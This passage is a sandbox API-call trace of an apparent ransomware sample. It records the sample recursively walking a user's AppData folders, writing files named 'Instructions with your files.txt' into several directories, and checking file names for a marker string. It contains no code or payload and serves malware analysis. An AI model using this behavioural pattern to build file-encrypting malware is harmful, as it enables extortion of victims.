[0131.339] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.339] CloseHandle (hObject=0x118) returned 1
[0131.339] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.339] GetProcessHeap () returned 0x810000
[0131.339] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.339] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
[0131.340] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0") returned 67
[0131.340] GetProcessHeap () returned 0x810000
[0131.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.340] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*") returned 69
[0131.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.340] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\.") returned 69
[0131.340] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.340] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\..") returned 70
[0131.340] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.340] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\Instructions with your files.txt") returned 100
[0131.340] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\imjp9_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.340] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.341] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.341] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.341] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.342] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.342] CloseHandle (hObject=0x118) returned 1
[0131.342] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.342] GetProcessHeap () returned 0x810000
[0131.342] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.342] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
[0131.342] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 77
[0131.342] GetProcessHeap () returned 0x810000
[0131.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.342] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned 79
[0131.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.342] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\.") returned 79
[0131.342] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.342] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\..") returned 80
[0131.342] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1
[0131.342] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 90
[0131.342] GetProcessHeap () returned 0x810000
[0131.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.343] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned 92
[0131.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.343] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\.") returned 92
[0131.343] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.343] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.343] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\..") returned 93
[0131.343] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.343] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4eb35ad0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.343] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 102
[0131.343] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.344] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a683760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1
[0131.344] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 108
[0131.344] StrStrIW (lpFirst="Google Chrome.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.344] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb0f970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4eb0f970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4eb0f970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Launch Internet Explorer Browser.lnk", cAlternateFileName="LAUNCH~1.LNK")) returned 1
[0131.344] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk") returned 127
[0131.344] StrStrIW (lpFirst="Launch Internet Explorer Browser.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.344] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1
[0131.344] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 108
[0131.344] StrStrIW (lpFirst="Shows Desktop.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.344] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1
[0131.344] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 102
[0131.344] GetProcessHeap () returned 0x810000
[0131.344] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.344] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned 104
[0131.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.344] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\.") returned 104
[0131.344] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.344] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.344] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\..") returned 105
[0131.344] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.345] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1
[0131.345] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned 123
[0131.345] GetProcessHeap () returned 0x810000
[0131.345] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.345] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned 125
[0131.345] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.345] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\.") returned 125
[0131.345] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.346] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\..") returned 126
[0131.346] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.346] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\Instructions with your files.txt") returned 156
[0131.346] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.347] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.347] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.348] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.348] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.348] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.348] CloseHandle (hObject=0x124) returned 1
[0131.348] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.348] GetProcessHeap () returned 0x810000
[0131.348] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.348] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1
[0131.348] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 110
[0131.348] GetProcessHeap () returned 0x810000
[0131.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.348] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned 112
